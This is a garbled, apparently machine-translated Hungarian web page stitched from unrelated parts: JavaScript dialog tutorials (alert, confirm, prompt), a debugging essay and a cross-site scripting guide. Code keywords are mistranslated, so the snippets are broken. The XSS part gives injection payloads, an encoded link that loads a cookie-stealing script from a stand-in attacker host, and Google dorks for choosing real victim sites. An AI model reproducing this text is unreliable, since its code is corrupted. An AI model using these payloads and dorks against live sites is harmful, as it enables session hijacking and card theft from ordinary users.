Ablakok.  Vírusok.  Jegyzetfüzetek.  Internet.  hivatal.  Segédprogramok.  Drivers

Ebben a cikkben három érdekes módszert fogunk megvizsgálni, nevezetesen az alert() , megerősítés() és prompt() metódusokat. Mindegyiket felhasználói interakcióra tervezték.

Mindhárom metódus az ablak objektumhoz tartozik. És így hívhatók: window.method_name(); De a JavaScript lehetővé teszi, hogy ne adjuk meg ezt az ablakobjektumot, hanem egyszerűen írjuk be a metódus nevét.

Kezdjük az alert() metódussal. Ez a módszer a megadott üzenetet jeleníti meg a felhasználó böngészőablakában. Ez a doboz a teljes oldal tetején megjelenik, és amíg a felhasználó rá nem kattint az OK gombra, addig nem záródik be.

A demonstrációhoz jelenítsen meg néhány üzenetet az alert () módszerrel.

var today_is = "Hétfő"; alert("Ma van " + mai_van);


A metóduson belül bármilyen karakterláncot megadhatunk, csak html tagek nélkül. Itt nem dolgozzák fel őket, hanem úgy jelennek meg, ahogy vannak.

Ha a megadni kívánt karakterlánc nagyon hosszú, és új sorra szeretnénk áttérni, akkor itt a html címke
nem fog működni. Itt a "\n" karaktert kell használni.

Alert("Looooooooong \nStringgggggg");


Ezt a módszert gyakran használják kódhibák keresésére.

A kód feldolgozási folyamata fentről lefelé halad, így a hiba észleléséhez egyszerűen írjuk az alert () metódust arra a területre, ahol a hiba található. És ha az alert() működött, akkor nincs hiba egészen addig a sorig, ahol ki van írva.

Ezután egy vagy több sorral lejjebb kell mozgatnia. Mentjük a változtatásokat, újra frissítjük az oldalt a böngészőben, és megnézzük, hogy az alert () működött-e, akkor nincs hiba a sor előtt, ahol található, ellenkező esetben, ha nem működne, a hiba a fenti sorban van. most van. Ily módon hibát találhat a kódban.

módszer megerősítése()

Ez a módszer bizonyos kérdésekre adott válasz megerősítésére szolgál. Csak két válaszlehetőség van, igen (OK) vagy nem (Mégse / Mégse). Ha a felhasználó igennel válaszol, akkor a metódus igaz, egyébként hamis értéket ad vissza.

Például megjelenítünk egy ablakot a megerősítés() metódussal, ahol megkérdezzük a felhasználótól, hogy "Biztosan el akarod hagyni az oldalt?". Ha a felhasználó igennel válaszol, akkor az alert() metóduson keresztül egy ilyen "A felhasználó el akarja hagyni az oldalt" üzenetet jelenítjük meg, ellenkező esetben egy másik "A felhasználó NEM akarja elhagyni az oldalt" üzenetet.

Var user_answer = megerősítés("Biztosan elhagyja az oldalt?"); if(user_answer) alert("A felhasználó el akarja hagyni az oldalt"); else alert("A felhasználó NEM akarja \nelhagyni az oldalt");


Így működik a megerősítés() metódus. Különböző alkalmakkor használható. Például, mielőtt töröl valamit az oldalról, szokás megkérdezni a felhasználót, hogy biztos-e a tetteiben. Illetve az űrlap elküldése előtt megkérdezheti a felhasználót, hogy „Mindent jól töltött ki?” Ha igennel válaszol, akkor az űrlap elküldésre kerül, ellenkező esetben nem.

prompt() metódus

Az utolsó módszer, amelyet megtanulunk, a prompt() metódus. Ezt a módszert ritkábban használják, mint a másik két módszert. Lehetővé teszi bizonyos információk megszerzését a felhasználótól, amelyet beír a szövegmezőbe.

Ennek eredményeként a prompt() metódus vagy a beviteli karakterláncot adja vissza, ha a felhasználó az OK gombra kattintott, vagy nullát, ha a felhasználó a Mégse gombra kattintott.

Paraméterként, vagyis ennek a metódusnak a zárójelébe írhatunk egy jelző karakterláncot vagy egy kérdést, hogy a felhasználó tudja, milyen információkat kell megadni.

Például kérjük meg a felhasználót, hogy válaszoljon a „Mi a neved?” kérdésre. A felhasználó által beírt név az alert() metódussal jelenik meg a képernyőn.

Varname = prompt("Mi a neved?"); alert("Az Ön neve " + név);

Mentse el és nyissa meg az oldalt a böngészőben.


Természetesen a prompt() metódusból bármilyen információ beírható a szövegmezőbe. Ez az információ karakterláncként jelenik meg, még számok vagy más speciális karakterek esetén is.

Például kérjük meg a felhasználót, hogy adjon meg két számot, hogy később megszorozza őket. Lesz egy számológép a számok szorzásához.

Var x = prompt("Írja be az első számot:"); var y = prompt("Írja be a második számot:"); //A beírt számok konvertálása karakterlánc típusból numerikus típusba x = Szám(x); y = szám(y); document.write(x + " * " + y + " = " + (x * y));

A beírt számok karakterláncok, így a helyes szorzási eredmény érdekében ezeket a számokat át kell vinni a Number() függvényen, amely karakterlánc típusból normál számokká alakítja őket.

Nos, ez minden. Most már három további módszert ismer: alert(), megerősítés() és prompt() . Amit nyugodtan használhatsz a gyakorlatban.

  • ablak objektum metódusok;
  • alert() metódus: rövid összefoglaló;
  • megerősítés() metódus - betűk írása;
  • prompt() metódus - ismerkedjünk meg, Stirlitz vagyok.

Szóval, böngésző objektumok. És mindenekelőtt - a legrégebbi közülük, az ablak tárgya.

Íme az ablakobjektum főbb metódusai (rajtuk kívül más is van, de nem sok haszna van, és hogy ne zsúfoljam el az agyat felesleges információkkal, a harmadik sorozatra halasztom).

Módszer

Leírás

Nyissa meg és zárja be a böngészőablakokat; meg lehet határozni az ablak méretét, tartalmát, valamint a billentyűzet, a címmező és egyéb attribútumok meglétét.

Riasztási párbeszédpanel megjelenése a megfelelő üzenettel.

Megerősítő párbeszédpanel megjelenése az "OK" és a "Mégse" gombokkal.

Egy szövegbeviteli mezőt tartalmazó prompt párbeszédpanel megjelenése.

Fókusz beállítása vagy eltávolítása ablakhoz.

Egy ablak tartalmát egy adott pontra görgeti.

A függvényhívás és a kifejezés kiértékelése közötti időintervallum beállítása.

Egy időintervallum beállítása függvényhívás vagy kifejezés kiértékelése előtt.

Azt már tudjuk, hogy az ablak gyakran utal, de nem írják ki.

Különféle párbeszédpanelek előhívása

A párbeszédpaneleket a programok a felhasználóval való interakcióhoz használják.

alert() metódus

Tanulmányaink legelején elemeztük. Egy egyszerű párbeszédpanelt hoz létre egy üzenettel és egy OK gombbal. Minden interakciója arra korlátozódik, hogy a felhasználó egyetlen gomb megnyomásával el tudja küldeni ezt az ablakot valahova messzire (és köszönet érte).

megerősítés() metódus

A megerősítés() metódus már lehetővé teszi a felhasználó számára, hogy a legegyszerűbb "logikai" döntést hozza meg: mondjon "igen"-t vagy "nem-et".

Például kattintson erre a gombra:

Elnézést a kis csínytevésért. Remélem tudod, hogyan kell használni a vissza gombot.

Hogyan van elrendezve? Természetesen láttad, hogy ezt a módszert riasztásokkal kombinálom. Ez pedig egy függvény segítségével történik, amely be van szúrva a -ba.

A metódus két értéket ad vissza: igaz (ha OK) és false (ha megszakítva).

Ha igaz, akkor elküldjük a megfelelő oldalra (href tulajdonság hely objektum), és kiadja a megfelelő alert() . Ellenkező esetben (azaz false ) egyszerűen egy másik alert() -t adunk ki.

A gombban pedig meghívjuk a függvényt az onClick eseményben:

Ezután meg kell hívnia ezt a függvényt a címke onSubmit eseménykezelőjéből, például:

Itt például felírhatsz nekem a "szappanra" mindent, amit az óráimról gondolsz. Ha hirtelen izgatott lett, megnyomta a gombot, majd valahogy kínossá vált, felugrik egy párbeszédablak, és kijózanítja.

Ha előugró ablakokat jelenít meg, célszerű figyelmeztetni a felhasználót, és megadni neki választási lehetőséget, hogy megnyitja-e az ablakot vagy sem. Ehhez az ablak betöltése előtt el kell engednie a „parlamenter” -t - a megerősítés() párbeszédpanelt. Itt a függvény meghívása innen történik. Erről hamarosan szó lesz, amikor áttérünk az ablakok open() metódussal történő létrehozására.

prompt() metódus

Ez a módszer már konkrét adatokat kér a felhasználótól. Megjelenik egy párbeszédpanel egy beviteli mezővel. A metódus visszaadja a felhasználó által ebbe a mezőbe beírt adatokat, és lehetővé teszi a program számára, hogy ezekkel az adatokkal dolgozzon.

A prompt() metódusnak két argumentuma van: egy kérdés (amely a beviteli mező felett jelenik meg) és egy válasz (a szöveg a beviteli mezőben):

Ha azt szeretné, hogy a beviteli mező tisztának tűnjön, tegyen üres idézőjeleket második argumentumként:

gyors(" kérdés szövege","")

Lássuk ezt működés közben. Nyomd meg a gombot, ne félj.

Tehát adatokat adott meg (vagy nem adott meg), és ezek alapján (vagy ezek hiányában) kapott választ a számítógéptől.

Íme ennek a funkciónak egy egyszerű változata:

A címke tartalmának szabályozását lehetővé tevő innerHTML tulajdonsággal a 10. leckében találkoztunk, amikor a képek alá programoztuk a címeket.

És itt van a gomb kódja és az üdvözlés üres bekezdése.


De ha kiderült, hogy a névrokonom vagy, akkor láttad, hogy a funkció erre is reagált.

Hogy ezt a "durva" változatban hogyan kell megtenni, azt már maga is sejtheti. A user_name változót nem csak az üres idézőjelekre kell ellenőrizni, hanem a " Andrey", és fészkelj be egy másikat a megfelelő szöveggel (gyakorolhatod magad is).

De ha beírod, hogy " Andrey", "Andryusha", "Andryushka", "Andriukha", "Andrejka", "Andrej Ivanovics" stb., akkor hasonló lesz az eredmény, bár nem kifejezetten mentem végig ezeket az értékeket, hanem csak öt sort sikerült: " Andre", "András", "András", "Andreiche"És" Andreichu"(az utolsó három - annak érdekében, hogy kizárják Andreevet, Andreichenkot és Andreichukot a névadók közül, miközben Andreichikot megtartják a névrokonokban).

Azaz sejthető, hogy a függvény ellenőrzi a user_name változót az első 5, 6 vagy 8 karakternél.

De erről egy kicsit később lesz szó, amikor áttérünk a string objektumokra és módszereikre. Csak azt szeretném, ha előre elképzelné a megoldandó feladatokat (különösen a karakterláncok alkarakterláncokra való felosztását). Akkor maguk a döntések világosabbnak tűnnek. De ha nem bírod kivárni, akkor "kimásolhatod" a függvényt a kódból és "elvághatod, mint egy diót". A kíváncsiak kedvéért írtam oda kommentet.

A prompt() metódus használható jelszó megadására is.

Ezzel még nem ér véget a lecke!

„Játsszunk kémet”, hogy befejezzük a fejezet elolvasását. Először próbálja meg megnyomni a gombot, és beírni valamit.

Ah, ez az! De nézd, van még egy gomb! Gyerünk...

Jelszó:

Nyomja meg újra az első gombot, és írja be a helyes jelszót.

Ennek a mulatságnak talán van hatása, de valójában a jelszó megnyomásával megtalálható jobb gombés kódban nézegeti. Egyesek naivan azt gondolhatják, hogy elég egy külön .js fájlba tenni a kódot. De az oldal kódjában lesz egy link erre a fájlra a címmel. És ha betárcsázod címsor, akkor megnyílik egy JavaScript kóddal rendelkező fájl :)

Lehetséges kódban titkosítani a jelszót? Megteheti, de ehhez ismét karakterlánc-manipulációra van szükség, valamint néhány matematikai módszer használatára. Ha mindehhez eljutunk, tanulmányozzuk az „igazi” jelszószkriptet is. De a felhasználói interakciós technika továbbra is ugyanaz marad: a prompt() metódus. (Lehetőség van „feltörni” egy titkosított jelszót? Sajnos a hackerek tökéletességének nincs határa...)

Ugyanúgy, ahogy a nevet vagy annak hiányát „elkaptuk”, a jelszót a funkcióval fogjuk meg.

Ha helytelen jelszót ad meg, vagy nem ír be semmit, a sor

document.getElementById("no").style.display = "blokk"

megnyitja a blokkot a második gombbal

És ha a helyes jelszót adjuk meg, a művelet átkerül a karakterláncba

document.getElementById("yes").style.display = "block" ,

amely megnyitja a következő blokkot

Megállj, mik azok a kryakozubry? Ez egy egyszerű rejtjel, hamarosan elmagyarázom.

Addig is megadom ezeknek a blokkoknak a kódját (az áttekinthetőség kedvéért kihagyom a keretes táblázatot, amit az utolsó blokkba mellékeltem):



Ah, ez az! De nézd, van még egy gomb! Gyerünk...





Jelszó:

document.write(unescape( "%u043C%u043E%u044F%20%u043F%u0440%u0435%u043A%
u0440%u0430%u0441%u043D%u0430%u044F%20%u043B%u0435%u0434%u0438"
))


Nyomja meg újra az első gombot, és írja be a helyes jelszót.




Most olvasunk tovább.


. . . . .
. . . . .

Szóval a titkosításról. Nagyon nyomorult. Aki ismeri az escape() és unescape() függvényeket, az pillanatok alatt feltöri.

Az escape("enter string here") függvény konvertálja a karaktereket hexadecimális értékükre.

Az unescape("insert quark-aurochs here") függvény az ellenkezőjét teszi.

A jelszó ilyen módon történő titkosításához futtassa le otthon az escape()-n keresztül, másolja az eredményt, és illessze be az unescape() -be. De ez, ismétlem, nem komoly.

Nos, a teljes készlethez - a második gomb funkciója:

Kimeneti szabványhoz párbeszédpanelek A JavaScript csak három módszerrel rendelkezik, amelyeket ma megtanultunk. Bár ezek a módszerek nem túl gyakran fordulnak elő, a magabiztos használatuk képessége rendkívül hasznos. Egyszerűek, ugyanakkor úgymond „tiszta” programozásra utalnak. Nagyon jók a programozási nyelv elsajátításában. És azt tanácsolom, hogy minden lehetséges módon kísérletezzen velük, még ha pragmatikus szempontból céltalanul is. A jó programozás izgalmas játék, akárcsak minden kreativitás.

A webes erőforrás látogatójával folytatott párbeszéd szervezése többféleképpen is megvalósítható, amelyek felhasználása JavaScript funkciók az alert() a legegyszerűbb és leggyorsabb lehetőség. Ez a lehetőség különösen jó tesztelési célokra, de sok erőforrásnál természetes funkcióként használják.

A JavaScript alert() függvény lehetővé teszi, hogy igenlő választ kapjon. Valójában nem a válasz a fontos, hanem maga az információkibocsátás ténye. Ezenkívül a webes erőforrás működése megszűnik, amíg a felhasználó nem válaszol. A riasztásra adott válasz mindig ugyanaz – ez a válasz!

Hibakeresési célokra a JavaScript alert() tökéletes eszköz a naprakész információk gyors megszerzéséhez, a döntés meghozatalához és a munka folytatásához. De az oldal normál működése szempontjából jó néhány előnye is van.

A látogató figyelmének lekötése

"Riadó" - mint az életben, ez is olyan eseményt képez, amely mellett nem lehet elmenni. De ez az esemény megtörténhet vagy nem..

Egy ritka fejlesztő tudatában van ennek a körülménynek, és fájdalmasan hosszan keresi a webhelyét az ügyféloldalon. Ugyanakkor kevés fejlesztő nem tudja: gyakran olyan nehéz hibát találni az ügyfélben, vagyis a böngészőben, hogy:

  • órák értékes időt veszítenek el;
  • hihetetlen kódtranszformációk költenek el;
  • sok szkriptet lapátolnak, szóval a böngésző és a szerver is megkapja.

És nincs eredmény. Nem segítenek sem a hibakeresők, sem a szavak, sem a minden böngészőbe beépített hibakereső eszköz. Eközben a láda mindig csak kinyílik – a megfelelő kulcs a fontos.

A helyes kód egyszerű szabálya

Először is, a cookie-k a modern webhelyek legkeresettebb összetevőjévé váltak. Soha nem szabad elfelejteni:

  • JavaScript figyelmeztetés és dokumentum cookie
  • "itt és most" és "egyáltalán vagy egyszer".

A cookie-k egy nagyszerű funkció, amelyet a böngésző mélyén meg kell jegyezni minden egyes kliensről, de nem szabad ennek jelentőséget tulajdonítani az aktuális munkamenetben. A sütik fő célja, hogy a böngésző „memóriájában” maradjanak abban a tartalomban, amely a látogató kilépésekor volt.

Minden más tekintetben a böngészőben található szkriptkód csak önmagától és az általa feldolgozott eseményektől függ.

Ebben az összefüggésben, és ez a kontextus itt ideális, a kód nem működhet, ha helyesen van megírva. Ez az ideális szabály a helyes kódhoz. Ha a böngésző üres képernyőt mutat, vagy valamit rosszul csinál, akkor okkal feltételezhető, hogy hiba történt.

Könnyebben alkalmazható:

  • JavaScript alert ("Eddig minden rendben volt!").

A legjobb hibakereső vagy hibakereső olyan esemény, amelynek meg kell történnie de nem történik meg.

Ha ezt a konstrukciót nulláról lefelé mozgatja egy bosszantó bűncselekményre a kódban, megtalálhatja azt a helyet, amely után nem működik. A hiba meg lesz találva. JavaScript alert() van modális ablak . Ezt semmilyen módon nem lehet megkerülni, és semmi sem történik addig, amíg a fejlesztő/látogató be nem zárja ezt az ablakot.

Ha az ablak nem jelenik meg, akkor vagy hibásan van feltüntetve a kódban, vagy minden, ami előtte van, hibát tartalmaz.

Nehéz helyzet, amikor a figyelmeztető JavaScript nem működik

Ez elsősorban a szerverrel való információcserére szolgáló AJAX algoritmusokra vonatkozik. Itt nem mindig lehet klasszikus hibakereső eszközöket használni, és ha többszintű objektumrendszer működik a kliens oldalon, akkor a hibakeresés általában a fejlesztő elméjévé alakul, és semmilyen hibakereső nem tud segíteni.

A legjobb lehetőség a riasztásra a szerverrel való kommunikáció során a div (div), amelyben a szerverrel az innerHTML módszerrel történő kommunikáció protokollja van elhelyezve - mindig világos lesz, hogy a probléma melyik szakaszában jelentkezik.

Az oldalon mindig látható statikus div nem JavaScript-riasztási mód. Előfordulhat, hogy az ablak nem jelenik meg, és ennek számos oka lehet, és ezek szintaktikailag helyesek. A böngésző nyelve rendkívül nyugodt beállítottságú, és soha nem tesz semmit, ha nem elemzett és nem ért meg valamit.

Bármelyik statikus természete HTML tag - jó tényező. Az összes kód eltávolítása és részenkénti hozzáadása a hiba újbóli megjelenéséig nem a leggyorsabb hibakeresési technológia. A helyes írás népszerű tanács, igényes, de nem praktikus.

A böngésző nyelve eseményvezérelt, fő gondja nem a szekvenciális kód, hanem az oldalcímkékhez és az eseménykezeléshez rendelt funkciók végrehajtása.

Kiegészítő szabály egy egyszerű szabályhoz

Ha a JavaScript alert ablaka ("Eddig minden helyesen van megírva") nem jelent meg a böngészőben, az azt jelenti, hogy a szintaxis egészen addig a helyig, ahol ez a konstrukció meg van írva, nem kelt kétséget a böngészőben, és helyesen fut.

A modern írásmód logikájának van egy jelentős hibája. Az összes oldalfájl (lényegével és típusaival együtt) egy egésszé egyesül, és ezt követően felépül a DOM. A fájlok csatlakoztatásának sorrendje gyakran jelentős.

A legjobb, ha a fejlesztő nem tulajdonít jelentőséget az eseményekhez rendelt funkciók végrehajtásának megszervezésének eseményelvének, hanem az összes funkciót az alkalmazásuk sorrendjében rendezi, illetve az oldalcímkékhez és eseményekhez való hozzárendelésüket.

A sorrend mindig a legfontosabb. A többit a JavaScript magától kitalálja: mit és mikor hívjon. A modern programozás általában és minden módszerrel összefüggésben, különösen minden magasan szervezett objektumorientált megközelítésben mindig konzisztens. mindig szekvenciálisan kombinálódnak a leírtak szerint.

Ha valami nem történik, az azt jelenti: nem valahol valami nincs rendben, hanem csak ezen a helyen.

Az XSS (cross-site scripting) egy biztonsági rés, amelynek során ügyféloldali kódot (JavaScript) kell beilleszteni egy olyan weboldalba, amelyet más felhasználók néznek meg.

A biztonsági rés a felhasználó által a weboldalba beillesztendő adatok elégtelen szűréséből adódik. Sokkal könnyebb megérteni egy konkrét példával. Ne felejtsen el minden vendégkönyvet – ezek olyan programok, amelyek arra szolgálnak, hogy adatokat fogadjanak el a felhasználótól, majd megjelenítsék azokat. Képzeljük el, hogy a vendégkönyv semmilyen módon nem ellenőrzi, szűri a beírt adatokat, hanem egyszerűen megjeleníti.

Felvázolhatod a legegyszerűbb szkriptet (nincs könnyebb, mint rossz szkripteket írni PHP-ben – sokan csinálják ezt). De már rengeteg kész lehetőség van. Például azt javaslom, hogy kezdje el a Dojo-t és az OWASP Mutillidae II-t. Ott is van hasonló példa. Egy önálló Dojo-környezetben navigáljon a böngészőben a következő helyre: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ha valamelyik felhasználó beírta:

Ezután a weblap megjelenik:

Helló! Tetszik a webhelye.

És ha a felhasználó így írja be:

Helló! Tetszik a site.alert("Pwned")

Így fog megjelenni:

A böngészők sok cookie-t tárolnak egy nagy szám oldalak. Minden webhely csak saját maga által tárolt sütiket fogadhat. Például az example.com néhány cookie-t tárol a böngészőjében. Ha a másik.com webhelyre lép, az a webhely (kliens- és szerverszkriptek) nem fér hozzá az example.com által tárolt cookie-khoz.

Ha az example.com sebezhető az XSS-sel szemben, akkor ez azt jelenti, hogy valamilyen JavaScript kódot fecskendezhetünk bele, és ez a kód az example.com nevében fut le! Azok. ez a kód például hozzáfér a cookie-khoz az example.com webhelyről.

Szerintem mindenki emlékszik rá, hogy a JavaScript a felhasználók böngészőjében fut le, pl. XSS jelenlétében a beinjektált rosszindulatú kód hozzáfér a weboldalt megnyitó felhasználó adataihoz.

A beinjektált kód mindent megtesz, amit a JavaScript, nevezetesen:

  • cookie-kat ér el az Ön által böngészett webhelyről
  • bármilyen változtatást végrehajthat kinézet oldalakat
  • hozzáfér a vágólaphoz
  • JavaScript-programokat, például billentyűnaplókat (billentyűleütés-elfogókat) tud beilleszteni
  • csatlakozz a BeEF-hez
  • satöbbi.

A legegyszerűbb példa a cookie-kra:

figyelmeztetés (document.cookie)

Valójában a riasztást csak az XSS észlelésére használják. Az igazi rosszindulatú rakomány rejtett műveleteket hajt végre. Titokban felveszi a kapcsolatot a támadó távoli szerverével, és arra továbbítja az ellopott adatokat.

Az XSS típusai

A legfontosabb dolog, amit meg kell érteni az XSS típusokkal kapcsolatban, hogy ezek a következők:

  • Tárolt (állandó)
  • Tükrözött (nem állandó)

Példa a konstansokra:

  • A szerveren tárolt, a támadó által beírt, speciálisan kialakított vendégkönyv-üzenet (megjegyzés, fórumbejegyzés, profil) minden alkalommal letöltődik a szerverről, amikor a felhasználók az oldal megjelenítését kérik.
  • Egy támadó például ezen keresztül jutott hozzá a szerver adataihoz SQL injekció, és rosszindulatú JavaScript kódot fecskendezett be (keyloggerekkel vagy BeEF-fel) a felhasználónak kiadott adatokba.

Nem állandó példa:

  • Az oldalon van egy keresés, amely a keresési eredmények mellett valami olyasmit mutat, hogy „A következőre keresett: [keresési karakterlánc]”, miközben az adatok szűrése nem megfelelő. Mivel egy ilyen oldal csak azoknak jelenik meg, akiknek van linkje rá, addig a támadás nem fog működni, amíg a támadó el nem küldi a linket az oldal többi felhasználójának. Ahelyett, hogy linket küldene az áldozatnak, használhat egy rosszindulatú szkriptet egy semleges webhelyen, amelyet az áldozat felkeres.

Megkülönböztetik továbbá (egyesek a nem perzisztens XSS sebezhetőségek egyik típusaként, mások szerint ez a típus a perzisztens XSS típusa is lehet):

  • DOM modellek
A DOM alapú XSS jellemzői

Egészen leegyszerűsítve: a „normál” nem állandó XSS rosszindulatú kódját láthatjuk, ha megnyitjuk a HTML kódot. Például egy hivatkozás a következőképpen jön létre:

http://example.com/search.php?q="/>figyelmeztetés(1)

A HTML forráskód megnyitásakor pedig valami ilyesmit látunk:

alert(1)" /> Find

A DOM XSS pedig megváltoztatja a DOM struktúrát, ami menet közben alakul ki a böngészőben, és a rosszindulatú kódot csak a kialakult DOM struktúra megtekintésekor láthatjuk. A HTML nem változik. Vegyük ezt a kódot példaként:

site:::DOM XSS Hiba történt... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (eredmények) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("A munkamenet azonosítója: " + display_session + "

")

Ezután a böngészőben ezt fogjuk látni:

Az oldal forráskódja:

Alakítsuk ki a címet így:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Most így néz ki az oldal:

De nézzük meg forrás HTML:

Abszolút semmi sem változott. Erről beszéltem, meg kell néznünk a dokumentum DOM-struktúráját, hogy azonosítsuk a rosszindulatú kódot:

Itt van egy működő XSS prototípus, igazi támadáshoz bonyolultabb terhelésre van szükségünk, ami nem lehetséges, mivel az alkalmazás azonnal leállítja az olvasást a pontosvessző után, és az alert(1);alert(2) nem tovább lehetséges. A visszaadott adatokban található unescape()-nek köszönhetően azonban használhatunk egy ehhez hasonló terhelést:

http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Ahol kicseréltük a ; az URI-kódolt megfelelőjére!

Most már írhatunk egy rosszindulatú JavaScript hasznos adatot, és létrehozhatunk egy linket, amelyet elküldünk az áldozatnak, akárcsak egy normál, nem állandó webhelyek közötti szkriptelés.

XSS Auditor

BAN BEN Google Chrome(és az Operában is, amely immár a Google Chrome motort használja), ebben a meglepetésben volt részem:

dom_xss.html:30 Az XSS Auditor megtagadta a "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" szkript végrehajtását. mert a forráskódja megtalálható a kérésben. Az ellenőr engedélyezve volt, mivel a szerver nem küldött sem „X-XSS-Protection”, sem „Content-Security-Policy” fejlécet.

Azok. a böngészőben most van egy XSS auditor, amely megpróbálja megakadályozni az XSS-t. A Firefox még nem rendelkezik ezzel a funkcióval, de szerintem ez idő kérdése. Ha a megvalósítás a böngészőkben sikeres, akkor az XSS alkalmazása során jelentős nehézségekről beszélhetünk.

Hasznos ezt megjegyezni modern böngészők lépéseket tesznek az olyan problémák kihasználásának korlátozására, mint a nem állandó XSS és a DOM-alapú XSS. Ezt is szem előtt kell tartani, amikor a webhelyeket böngészővel teszteli – könnyen kiderülhet, hogy egy webalkalmazás sebezhető, de nem lát megerősítő felugró ablakot csak azért, mert a böngésző blokkolja azt.

XSS kiaknázási példák

Azoknak a támadóknak, akik kihasználni kívánják a több telephelyre kiterjedő parancsfájl-kezelési sebezhetőséget, minden egyes sebezhetőségi osztályt eltérően kell megközelíteniük. Az egyes osztályok támadási vektorait itt ismertetjük.

Az XSS sebezhetőségei esetén a támadások használhatják a BeEF-et, amely kiterjeszti a támadást a webhelyről a felhasználók helyi környezetére.

Példa egy nem állandó XSS-támadásra

1. Alice gyakran felkeres egy bizonyos Bob által üzemeltetett webhelyet. Bob webhelye lehetővé teszi Alice számára, hogy felhasználónévvel/jelszóval bejelentkezzen, és érzékeny adatokat tároljon, például számlázási információkat. Amikor a felhasználó bejelentkezik, a böngésző engedélyező sütiket tárol, amelyek értelmetlen karaktereknek tűnnek, pl. mindkét számítógép (kliens és szerver) emlékszik, hogy belépett.

2. Malory megjegyzi, hogy Bob webhelye nem állandó XSS-sebezhetőséget tartalmaz:

2.1 A keresőoldal meglátogatásakor beír egy keresési karakterláncot, és rákattint a küldés gombra, ha nem talál eredményt, az oldalon megjelenik a beírt keresési karakterlánc, a "not found" szavakkal, az url pedig http://bobssite. org?q= őt keresési lekérdezés

2.2 Normál keresőkifejezés esetén, mint például a "kutyák", az oldalon egyszerűen a "kutya nem található" és a http://bobssite.org?q=dogs URL jelenik meg, ami teljesen normális viselkedés.

2.3 Ha azonban egy rendellenes keresési lekérdezés, például alert("xss"); :

2.3.1 Megjelenik egy figyelmeztető üzenet ("xss").

2.3.2 Az oldalon megjelenik az alert("xss"); nem található "xss" szövegű hibaüzenettel együtt.

2.3.3. kihasználható URL http://bobssite.org?q=alert("xss");

3. Mallory URL-t hoz létre a sérülékenység kihasználásához:

3.1 Elkészíti a http://bobssite.org?q=puppies URL-t. Dönthet úgy, hogy az ASCII karaktereket hexadecimális formátumba konvertálja, például http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E hogy az emberek ne tudják azonnal visszafejteni a rosszindulatú URL-t.

3.2. E-mailt küld Bob webhelyének néhány gyanútlan tagjának: „Nézze meg a menő kutyákat”.

4. Alice levelet kap. Imádja a kutyákat és rákattint a linkre. Bob oldalára megy keresés közben, nem talál semmit, azt írja, hogy "kutyák nem találhatók", és a közepén elindul egy szkriptet tartalmazó címke (láthatatlan a képernyőn), betölti és végrehajtja Mallory programját. authstealer.js (kioldó XSS támadások). Alice megfeledkezik róla.

5. Az authstealer.js program úgy fut Alice böngészőjében, mintha Bob webhelyéről származna. Megragadja Alice engedélyezési sütijének másolatát, és elküldi Mallory szerverére, ahol Mallory lekéri őket.

7. Most, hogy Mallory bent van, bemegy a webhely fizetési részébe, megnézi, és ellopja a szám másolatát. hitelkártya Alice. Aztán elmegy és megváltoztatja a jelszót, pl. most Alice már nem is tud bejönni.

8. Úgy dönt, hogy megteszi a következő lépést, és elküldi magának Bobnak az így felépített linket, és így rendszergazdai jogosultságokat szerez Bob webhelyéhez.

Támadás kitartó XSS-sel

  • Mallory fiókkal rendelkezik Bob honlapján.
  • Mallory észreveszi, hogy Bob webhelye állandó XSS-sebezhetőséget tartalmaz. Ha egy új szakaszra lépsz, írj egy megjegyzést, akkor megjelenik minden, ami be van írva. De ha a megjegyzés szövege HTML-címkéket tartalmaz, akkor ezek a címkék úgy jelennek meg, ahogy vannak, és minden szkriptcímke futni fog.
  • Malory elolvassa a cikket a Hírek részben, és megjegyzést ír a Megjegyzések részbe. Beilleszti a szöveget a megjegyzésbe:
  • Ebben a történetben nagyon szerettem a kutyákat. Nagyon kedvesek!
  • Amikor Alice (vagy bárki más) betölti az oldalt ezzel a megjegyzéssel, Mallory szkriptcímkéje lefut, és ellopja Alice engedélyezési cookie-ját, és elküldi Mallory titkos szerverére gyűjtés céljából.
  • Malory most eltérítheti Alice munkamenetét, és megszemélyesítheti Alice-t.
  • XSS-nek kitett webhelyek keresése

    Dorks az XSS-hez

    Első lépésként ki kell választani azokat a webhelyeket, amelyeken XSS-támadásokat hajtunk végre. A webhelyeken a Google Dorks segítségével lehet keresni. Íme néhány ilyen dork, amelyeket kimásolhat és beilleszthet a Google keresésébe:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Megnyílik előttünk a webhelyek listája. Meg kell nyitnia a webhelyet, és meg kell találnia rajta a beviteli mezőket, például egy űrlapot Visszacsatolás, beviteli űrlap, webhelykeresés stb.

    Rögtön megjegyzem, hogy a népszerű, automatikusan frissülő webes alkalmazásokban gyakorlatilag felesleges sebezhetőséget keresni. Egy ilyen alkalmazás klasszikus példája a WordPress. Valójában vannak sebezhetőségek a WordPressben, és különösen a bővítményeiben. Sőt, sok olyan webhely van, amely nem frissíti sem a WordPress-motort (annak oka, hogy a webmester néhány változtatást eszközölt a forráskódon), sem a bővítményeket és a témákat (általában ezek kalóz beépülő modulok és témák). De ha ezt a részt olvasod és tanulsz belőle valami újat, akkor a WordPress még nem neked való... Később biztosan visszatérünk rá.

    A legjobb célpontok a különféle saját maguk által írt motorok és szkriptek.

    Kiválaszthatja hasznos teherként beilleszteni

    figyelmeztetés (1)

    Ügyeljen arra, hogy a beágyazott kód mely HTML kódcímkékbe tartozik. Íme egy példa egy tipikus beviteli mezőre (input):

    figyelmeztetés (1)

    A rakományunk oda kerül, ahol most a „párnahuzat” szó van. Azok. lesz a bemeneti címke értéke. Elkerülhetjük – zárjuk be kettős idézet, majd magát a címkét a "/> jellel

    ">figyelmeztetés(1)

    Próbáljuk ki valamelyik oldalon:

    Rendben, van egy sebezhetőség.

    Programok az XSS sebezhetőségeinek megtalálására és vizsgálatára

